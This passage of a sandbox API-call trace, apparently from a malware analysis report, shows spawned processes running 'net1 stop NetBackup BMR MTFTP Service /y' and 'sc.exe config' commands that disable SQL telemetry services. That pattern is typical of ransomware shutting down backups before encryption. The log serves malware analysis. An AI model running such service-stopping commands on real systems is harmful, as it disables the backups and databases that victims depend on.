lpSource=0x754e0000, dwMessageId=0xc26, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x14 [0098.597] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET START CLIPBOOK", _MaxCount=0x12) returned 14 [0098.597] LocalFree (hMem=0x12c380) returned 0x0 [0098.597] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc29, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x14 [0098.597] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET START EVENTLOG", _MaxCount=0x12) returned 14 [0098.597] LocalFree (hMem=0x12c380) returned 0x0 [0098.597] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc2c, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x15 [0098.597] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET START MESSENGE", _MaxCount=0x12) returned 14 [0098.597] LocalFree (hMem=0x12c380) returned 0x0 [0098.597] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc2f, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x15 [0098.597] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET START NET LOGO", _MaxCount=0x12) returned 14 [0098.597] LocalFree (hMem=0x12c380) returned 0x0 [0098.597] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc32, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x16 [0098.597] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET START RPCLOCAT", _MaxCount=0x12) returned 14 [0098.597] LocalFree (hMem=0x12c380) returned 0x0 [0098.597] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc35, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x11 [0098.597] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET START RPCSS\r\n", _MaxCount=0x12) returned 14 [0098.597] LocalFree (hMem=0x12c380) returned 0x0 [0098.597] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc38, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x14 [0098.597] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET START SCHEDULE", _MaxCount=0x12) returned 14 [0098.597] LocalFree (hMem=0x12c380) returned 0x0 [0098.597] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc3b, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x12 [0098.597] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET START SERVER\r\n", _MaxCount=0x12) returned 14 [0098.597] LocalFree (hMem=0x12c380) returned 0x0 [0098.597] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc3e, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0xf [0098.597] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET START UPS\r\n", _MaxCount=0x12) returned 14 [0098.597] LocalFree (hMem=0x12c380) returned 0x0 [0098.597] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc41, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x17 [0098.597] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET START WORKSTAT", _MaxCount=0x12) returned 14 [0098.598] LocalFree (hMem=0x12c380) returned 0x0 [0098.598] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc44, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x18 [0098.598] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET START\r\n[servic", _MaxCount=0x12) returned 14 [0098.598] LocalFree (hMem=0x12c380) returned 0x0 [0098.598] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc47, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x2a [0098.598] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET STATISTICS\r\n[W", _MaxCount=0x12) returned 14 [0098.598] LocalFree (hMem=0x133150) returned 0x0 [0098.598] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc4a, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x15 [0098.598] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET STOP\r\nservice\r", _MaxCount=0x12) returned 19 [0098.598] LocalFree (hMem=0x12c380) returned 0x0 [0098.599] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc4d, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x58 [0098.599] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET TIME\r\n\r\n[\\\\com", _MaxCount=0x12) returned -1 [0098.599] LocalFree (hMem=0x133150) returned 0x0 [0098.599] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc50, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x184 [0098.599] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET USE\r\n[devicena", _MaxCount=0x12) returned -2 [0098.599] LocalFree (hMem=0x133150) returned 0x0 [0098.599] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc53, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0xc7 [0098.599] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET USER\r\n[usernam", _MaxCount=0x12) returned -2 [0098.599] LocalFree (hMem=0x13b150) returned 0x0 [0098.599] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc56, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0x47 [0098.599] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET VIEW\r\n[\\\\compu", _MaxCount=0x12) returned -3 [0098.599] LocalFree (hMem=0x13b150) returned 0x0 [0098.599] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc59, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0xc2 [0098.599] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET\r\n [ ACCOUNT", _MaxCount=0x12) returned 19 [0098.599] LocalFree (hMem=0x13b150) returned 0x0 [0098.599] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc5c, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0x319 [0098.600] _wcsnicmp (_String1="NET stop NetBackup", _String2="SERVICES\r\nNET STAR", _MaxCount=0x12) returned -5 [0098.600] LocalFree (hMem=0x13b150) returned 0x0 [0098.600] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc5f, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0x483 [0098.600] _wcsnicmp (_String1="NET stop NetBackup", _String2="SYNTAX\r\nThe follow", _MaxCount=0x12) returned -5 [0098.600] LocalFree (hMem=0x13b150) returned 0x0 [0098.600] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc62, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0xa86 [0098.600] _wcsnicmp (_String1="NET stop NetBackup", _String2="NAMES\r\nThe followi", _MaxCount=0x12) returned 4 [0098.600] LocalFree (hMem=0x13b150) returned 0x0 [0098.600] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc65, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0x54 [0098.600] _wcsnicmp (_String1="NET stop NetBackup", _String2="\r\nFor more informa", _MaxCount=0x12) returned 97 [0098.600] LocalFree (hMem=0x13b150) returned 0x0 [0098.600] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xbfc, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0xad [0098.600] _wcsnicmp (_String1="NET stop", _String2="NET ACCO", _MaxCount=0x8) returned 18 [0098.600] LocalFree (hMem=0x13b150) returned 0x0 [0098.600] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xbff, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0x2e [0098.600] _wcsnicmp (_String1="NET stop", _String2="NET COMP", _MaxCount=0x8) returned 16 [0098.600] LocalFree (hMem=0x13b150) returned 0x0 [0098.601] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc02, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0x7d [0098.601] _wcsnicmp (_String1="NET stop", _String2="NET CONF", _MaxCount=0x8) returned 16 [0098.601] LocalFree (hMem=0x13b150) returned 0x0 [0098.601] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc05, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0x26 [0098.601] _wcsnicmp (_String1="NET stop", _String2="NET CONF", _MaxCount=0x8) returned 16 [0098.601] LocalFree (hMem=0x13b150) returned 0x0 [0098.601] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc08, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0x19 [0098.601] _wcsnicmp (_String1="NET stop", _String2="NET CONT", _MaxCount=0x8) returned 16 [0098.601] LocalFree (hMem=0x13b150) returned 0x0 [0098.601] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc0b, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x1b [0098.601] _wcsnicmp (_String1="NET stop", _String2="NET FILE", _MaxCount=0x8) returned 13 [0098.601] LocalFree (hMem=0x12c380) returned 0x0 [0098.601] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc0e, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0xbe [0098.601] _wcsnicmp (_String1="NET stop", _String2="NET GROU", _MaxCount=0x8) returned 12 [0098.601] LocalFree (hMem=0x13b150) returned 0x0 [0098.601] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc11, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0x33 [0098.601] _wcsnicmp (_String1="NET stop", _String2="NET HELP", _MaxCount=0x8) returned 11 [0098.601] LocalFree (hMem=0x13b150) returned 0x0 [0098.601] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc14, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0x19 [0098.601] _wcsnicmp (_String1="NET stop", _String2="NET HELP", _MaxCount=0x8) returned 11 [0098.601] LocalFree (hMem=0x13b150) returned 0x0 [0098.601] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc17, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0xc1 [0098.601] _wcsnicmp (_String1="NET stop", _String2="NET LOCA", _MaxCount=0x8) returned 7 [0098.601] LocalFree (hMem=0x13b150) returned 0x0 [0098.601] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc1a, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x16 [0098.601] _wcsnicmp (_String1="NET stop", _String2="NET PAUS", _MaxCount=0x8) returned 3 [0098.601] LocalFree (hMem=0x12c380) returned 0x0 [0098.601] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc1d, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0x33 [0098.601] _wcsnicmp (_String1="NET stop", _String2="NET SESS", _MaxCount=0x8) returned 15 [0098.602] LocalFree (hMem=0x13b150) returned 0x0 [0098.602] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc20, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="념\x13") returned 0x234 [0098.602] _wcsnicmp (_String1="NET stop", _String2="NET SHAR", _MaxCount=0x8) returned 12 [0098.602] LocalFree (hMem=0x13b150) returned 0x0 [0098.602] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc23, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x13 [0098.602] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.602] LocalFree (hMem=0x12c380) returned 0x0 [0098.602] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc26, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x14 [0098.602] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.602] LocalFree (hMem=0x12c380) returned 0x0 [0098.602] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc29, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x14 [0098.602] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.602] LocalFree (hMem=0x12c380) returned 0x0 [0098.602] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc2c, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x15 [0098.602] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.602] LocalFree (hMem=0x12c380) returned 0x0 [0098.602] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc2f, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x15 [0098.602] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.602] LocalFree (hMem=0x12c380) returned 0x0 [0098.602] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc32, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x16 [0098.602] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.602] LocalFree (hMem=0x12c380) returned 0x0 [0098.602] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc35, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x11 [0098.602] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.602] LocalFree (hMem=0x12c380) returned 0x0 [0098.602] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc38, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x14 [0098.602] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.602] LocalFree (hMem=0x12c380) returned 0x0 [0098.603] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc3b, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x12 [0098.603] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.603] LocalFree (hMem=0x12c380) returned 0x0 [0098.603] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc3e, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0xf [0098.603] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.603] LocalFree (hMem=0x12c380) returned 0x0 [0098.603] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc41, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x17 [0098.603] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.603] LocalFree (hMem=0x12c380) returned 0x0 [0098.603] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc44, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x18 [0098.603] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.603] LocalFree (hMem=0x12c380) returned 0x0 [0098.603] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc47, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x13") returned 0x2a [0098.603] _wcsnicmp (_String1="NET stop", _String2="NET STAT", _MaxCount=0x8) returned 14 [0098.603] LocalFree (hMem=0x13d150) returned 0x0 [0098.603] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc4a, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x15 [0098.603] _wcsnicmp (_String1="NET stop", _String2="NET STOP", _MaxCount=0x8) returned 0 [0098.603] GetFileType (hFile=0x0) returned 0x0 [0098.603] GetConsoleOutputCP () returned 0x1b5 [0098.603] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NET STOP\r\nservice\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0098.603] malloc (_Size=0x16) returned 0x377cf0 [0098.603] GetConsoleOutputCP () returned 0x1b5 [0098.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NET STOP\r\nservice\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x377cf0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NET STOP\r\nservice\r\n\r\n", lpUsedDefaultChar=0x0) returned 22 [0098.604] WriteFile (in: hFile=0x0, lpBuffer=0x377cf0, nNumberOfBytesToWrite=0x15, lpNumberOfBytesWritten=0xaf7f8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xaf7f8, lpOverlapped=0x0) returned 0 [0098.604] free (_Block=0x377cf0) [0098.604] LocalFree (hMem=0x12c380) returned 0x0 [0098.604] NetApiBufferFree (Buffer=0x124f10) returned 0x0 [0098.604] NetApiBufferFree (Buffer=0x124f30) returned 0x0 [0098.604] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop NetBackup BMR MTFTP Service /y" [0098.604] exit (_Code=1) Process: id = "14" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x5b56a000" os_pid = "0xf1c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"sc.exe\" config SQLTELEMETRY start= disabled" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 70 os_tid = 0xf20 [0098.818] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fe10 | out: lpSystemTimeAsFileTime=0x14fe10*(dwLowDateTime=0xfe781340, dwHighDateTime=0x1d5eccb)) [0098.818] GetCurrentProcessId () returned 0xf1c [0098.818] GetCurrentThreadId () returned 0xf20 [0098.818] GetTickCount () returned 0x115365d [0098.818] QueryPerformanceCounter (in: lpPerformanceCount=0x14fe18 | out: lpPerformanceCount=0x14fe18*=17965979840) returned 1 [0098.818] GetModuleHandleW (lpModuleName=0x0) returned 0xff050000 [0098.818] __set_app_type (_Type=0x1) [0098.819] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff057228) returned 0x0 [0098.819] __wgetmainargs (in: _Argc=0xff05b604, _Argv=0xff05b610, _Env=0xff05b608, _DoWildCard=0, _StartInfo=0xff05b050 | out: _Argc=0xff05b604, _Argv=0xff05b610, _Env=0xff05b608) returned 0 [0098.819] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0098.821] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0098.821] GetStdHandle (nStdHandle=0xfffffff5) returned 0x1f8 [0098.821] wcsncmp (_String1="co", _String2="\\\\", _MaxCount=0x2) returned 7 [0098.821] _wcsicmp (_String1="config", _String2="query") returned -14 [0098.821] _wcsicmp (_String1="config", _String2="queryex") returned -14 [0098.821] _wcsicmp (_String1="config", _String2="start") returned -16 [0098.821] _wcsicmp (_String1="config", _String2="pause") returned -13 [0098.821] _wcsicmp (_String1="config", _String2="interrogate") returned -6 [0098.821] _wcsicmp (_String1="config", _String2="control") returned -14 [0098.821] _wcsicmp (_String1="config", _String2="continue") returned -14 [0098.821] _wcsicmp (_String1="config", _String2="stop") returned -16 [0098.821] _wcsicmp (_String1="config", _String2="config") returned 0 [0098.821] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2444e0 [0098.825] _wcsicmp (_String1="start=", _String2="type=") returned -1 [0098.825] _wcsicmp (_String1="start=", _String2="start=") returned 0 [0098.825] _wcsicmp (_String1="disabled", _String2="boot") returned 2 [0098.825] _wcsicmp (_String1="disabled", _String2="system") returned -15 [0098.825] _wcsicmp (_String1="disabled", _String2="auto") returned 3 [0098.825] _wcsicmp (_String1="disabled", _String2="demand") returned 4 [0098.825] _wcsicmp (_String1="disabled", _String2="disabled") returned 0 [0098.825] OpenServiceW (hSCManager=0x2444e0, lpServiceName="SQLTELEMETRY", dwDesiredAccess=0x3) returned 0x0 [0098.825] GetLastError () returned 0x424 [0098.825] _itow (in: _Dest=0x424, _Radix=1375048 | out: _Dest=0x424) returned="1060" [0098.825] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff05b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0098.827] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x14fb00, nSize=0x2, Arguments=0x14fb30 | out: lpBuffer="轐$") returned 0x62 [0098.827] GetFileType (hFile=0x1f8) returned 0x3 [0098.827] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x249030 [0098.827] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x249030, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n$", lpUsedDefaultChar=0x0) returned 98 [0098.827] WriteFile (in: hFile=0x1f8, lpBuffer=0x249030*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x14faa8, lpOverlapped=0x0 | out: lpBuffer=0x249030*, lpNumberOfBytesWritten=0x14faa8*=0x62, lpOverlapped=0x0) returned 1 [0098.829] LocalFree (hMem=0x249030) returned 0x0 [0098.829] LocalFree (hMem=0x248f50) returned 0x0 [0098.829] LocalFree (hMem=0x0) returned 0x0 [0098.829] CloseServiceHandle (hSCObject=0x2444e0) returned 1 [0098.831] exit (_Code=1060) Thread: id = 71 os_tid = 0xf30 Process: id = "15" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x50e7b000" os_pid = "0xf34" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"sc.exe\" config SQLTELEMETRY$ECWDB2 start= disabled" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 72 os_tid = 0xf38 [0098.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10fb10 | out: lpSystemTimeAsFileTime=0x10fb10*(dwLowDateTime=0xfe8198c0, dwHighDateTime=0x1d5eccb)) [0098.892] GetCurrentProcessId () returned 0xf34 [0098.892] GetCurrentThreadId () returned 0xf38 [0098.892] GetTickCount () returned 0x115369b [0098.893] QueryPerformanceCounter (in: lpPerformanceCount=0x10fb18 | out: lpPerformanceCount=0x10fb18*=17973410446) returned 1 [0098.894] GetModuleHandleW (lpModuleName=0x0) returned 0xff8e0000 [0098.894] __set_app_type (_Type=0x1) [0098.894] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff8e7228) returned 0x0 [0098.894] __wgetmainargs (in: _Argc=0xff8eb604, _Argv=0xff8eb610, _Env=0xff8eb608, _DoWildCard=0, _StartInfo=0xff8eb050 | out: _Argc=0xff8eb604, _Argv=0xff8eb610, _Env=0xff8eb608) returned 0 [0098.894] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0098.896] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0098.896] GetStdHandle (nStdHandle=0xfffffff5) returned 0x1f8 [0098.896] wcsncmp (_String1="co", _String2="\\\\", _MaxCount=0x2) returned 7 [0098.896] _wcsicmp (_String1="config", _String2="query") returned -14 [0098.896] _wcsicmp (_String1="config", _String2="queryex") returned -14 [0098.896] _wcsicmp (_String1="config", _String2="start") returned -16 [0098.896] _wcsicmp (_String1="config", _String2="pause") returned -13 [0098.896] _wcsicmp (_String1="config", _String2="interrogate") returned -6 [0098.896] _wcsicmp (_String1="config", _String2="control") returned -14 [0098.896] _wcsicmp (_String1="config", _String2="continue") returned -14 [0098.896] _wcsicmp (_String1="config", _String2="stop") returned -16 